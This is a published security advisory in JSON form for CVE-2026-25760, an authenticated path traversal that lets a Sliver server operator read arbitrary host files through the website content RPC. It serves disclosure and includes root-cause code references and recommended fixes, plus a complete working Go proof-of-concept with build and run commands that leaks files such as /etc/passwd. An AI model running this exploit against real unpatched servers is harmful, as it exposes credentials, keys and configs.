{"schema_version":"1.7.3","id":"GHSA-2286-hxv5-cmp2","published":"2026-02-05T21:57:14Z","modified":"2026-02-19T20:41:08.861693Z","aliases":["CVE-2026-25760","GO-2026-4445"],"summary":"Sliver Vulnerable to Website Path Traversal / Arbitrary File Read (Authenticated)","details":"## Summary\nA Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated **Path Traversal / arbitrary file read** issue, and it can expose credentials, configs, and keys.\n\n## Affected Component\n- Website content management (gRPC): `WebsiteAddContent`, `Website`, `Websites`\n- Server-side file read in `Website.ToProtobuf`\n\n## Impact\n- **Arbitrary file read** as the Sliver server OS user.\n- Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.\n\n## Root Cause\nThe server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.\n\n## Vulnerable Code References\n- `server/rpc/rpc-website.go:100` — accepts `content.Path` from operator RPC and persists it via `website.AddContent`\n- `server/db/models/website.go:52` — reads from disk with `filepath.Join(webContentDir, webcontent.Path)` without validating or constraining `webcontent.Path`\n\n## Proof of Concept (PoC)\n\n### Steps (local test)\n1. Build the server:\n   ```bash\n   go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server\n   ```\n2. Create an operator config (permission `all` for website operations):\n   ```bash\n   ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp\n   ```\n3. Start the daemon:\n   ```bash\n   ./sliver-server daemon -l 127.0.0.1 -p 31337\n   ```\n4. Run the PoC:\n   ```bash\n   GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts\n   ```\n\n\n### PoC Code\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/bishopfox/sliver/client/assets\"\n\t\"github.com/bishopfox/sliver/client/transport\"\n\t\"github.com/bishopfox/sliver/protobuf/clientpb\"\n)\n\nfunc main() {\n\tvar (\n\t\tconfigPath  string\n\t\twebsiteName string\n\t\ttargetPath  string\n\t\twebPath     string\n\t\tmaxBytes    int\n\t)\n\tflag.StringVar(&configPath, \"config\", \"\", \"path to sliver client config (.cfg)\")\n\tflag.StringVar(&websiteName, \"website\", \"poc-site\", \"website name to use/create\")\n\tflag.StringVar(&targetPath, \"target\", \"\", \"absolute server file path to read\")\n\tflag.StringVar(&webPath, \"web-path\", \"\", \"override web path (defaults to traversal into target)\")\n\tflag.IntVar(&maxBytes, \"max-bytes\", 1024, \"max bytes of leaked content to print\")\n\tflag.Parse()\n\n\tif targetPath == \"\" {\n\t\tif runtime.GOOS == \"windows\" {\n\t\t\ttargetPath = `C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts`\n\t\t} else {\n\t\t\ttargetPath = \"/etc/passwd\"\n\t\t}\n\t}\n\n\tif webPath == \"\" {\n\t\ttrimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))\n\t\twebPath = \"../../../../../../../../\" + trimmed\n\t}\n\n\tconfig, err := loadConfig(configPath)\n\tif err != nil {\n\t\tfatalf(\"config error: %v\", err)\n\t}\n\n\trpc, conn, err := transport.MTLSConnect(config)\n\tif err != nil {\n\t\tfatalf(\"connect error: %v\", err)\n\t}\n\tdefer conn.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\tdefer cancel()\n\n\t_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{\n\t\tName: websiteName,\n\t\tContents: map[string]*clientpb.WebContent{\n\t\t\twebPath: {\n\t\t\t\tPath:        webPath,\n\t\t\t\tContentType: \"text/plain\",\n\t\t\t\tContent:     []byte(\"poc\"),\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\tfatalf(\"WebsiteAddContent failed: %v\", err)\n\t}\n\n\tresp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})\n\tif err != nil {\n\t\tfatalf(\"Website failed: %v\", err)\n\t}\n\n\tvar leaked *clientpb.WebContent\n\tfor _, c := range resp.Contents {\n\t\tif c.Path == webPath {\n\t\t\tleaked = c\n\t\t\tbreak\n\t\t}\n\t}\n\tif leaked == nil {\n\t\tfatalf(\"did not find content for path %q\", webPath)\n\t}\n\n\tdata := leaked.Content\n\tif len(data) > maxBytes {\n\t\tdata = data[:maxBytes]\n\t}\n\n\tfmt.Printf(\"[+] target: %s\\n\", targetPath)\n\tfmt.Printf(\"[+] web-path: %s\\n\", webPath)\n\tfmt.Printf(\"[+] leaked bytes: %d\\n\", len(leaked.Content))\n\tfmt.Printf(\"[+] preview:\\n%s\\n\", string(data))\n}\n\nfunc loadConfig(path string) (*assets.ClientConfig, error) {\n\tif path != \"\" {\n\t\treturn assets.ReadConfig(path)\n\t}\n\tconfigs := assets.GetConfigs()\n\tif len(configs) == 0 {\n\t\treturn nil, fmt.Errorf(\"no configs found; use -config\")\n\t}\n\tif len(configs) > 1 {\n\t\treturn nil, fmt.Errorf(\"multiple configs found; use -config\")\n\t}\n\tfor _, c := range configs {\n\t\treturn c, nil\n\t}\n\treturn nil, fmt.Errorf(\"unexpected config error\")\n}\n\nfunc fatalf(format string, args ...any) {\n\tfmt.Fprintf(os.Stderr, format+\"\\n\", args...)\n\tos.Exit(1)\n}\n```\n\n### Expected Output (example)\n```\n[+] target: /etc/hosts\n[+] web-path: ../../../../../../../../etc/hosts\n[+] leaked bytes: 409\n[+] preview:\n127.0.0.1\tlocalhost\n...\n```\n\n## Evidence (Screenshots)\n<img width=\"930\" height=\"649\" alt=\"path-traversal-poc\" src=\"https://github.com/user-attachments/assets/53d18a4b-9da9-49db-b7c4-cf1fefe760fe\" />\n\n## Why It Works\n- `WebsiteAddContent` accepts a path like `../../../../etc/hosts` and stores it.\n- `Website` returns content by calling `Website.ToProtobuf`, which reads from disk using the stored `Path` value.\n- `filepath.Join` does not prevent traversal, so the server reads from outside the web directory.\n\n## Recommended Fix\n- Validate and reject paths that are absolute or contain `..` in `WebsiteAddContent` (server side).\n- Canonicalize paths and enforce they remain within the web content directory.\n- Avoid reading content by `Path` in `Website.ToProtobuf`; read by content ID instead.\n\n## Notes\n- This issue requires an authenticated operator account with sufficient permissions (`PermissionAll`).\n- The PoC demonstrates reading `/etc/hosts` but can target any readable server file.","affected":[{"package":{"name":"github.com/bishopfox/sliver","ecosystem":"Go","purl":"pkg:golang/github.com/bishopfox/sliver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.6.11"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.6.10","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-2286-hxv5-cmp2/GHSA-2286-hxv5-cmp2.json"}}],"references":[{"type":"WEB","url":"https://github.com/BishopFox/sliver/security/advisories/GHSA-2286-hxv5-cmp2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25760"},{"type":"WEB","url":"https://github.com/BishopFox/sliver/commit/818127349ccec812876693c4ca74ebf4350ec6b7"},{"type":"PACKAGE","url":"https://github.com/BishopFox/sliver"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-02-05T21:57:14Z","nvd_published_at":"2026-02-06T22:16:12Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}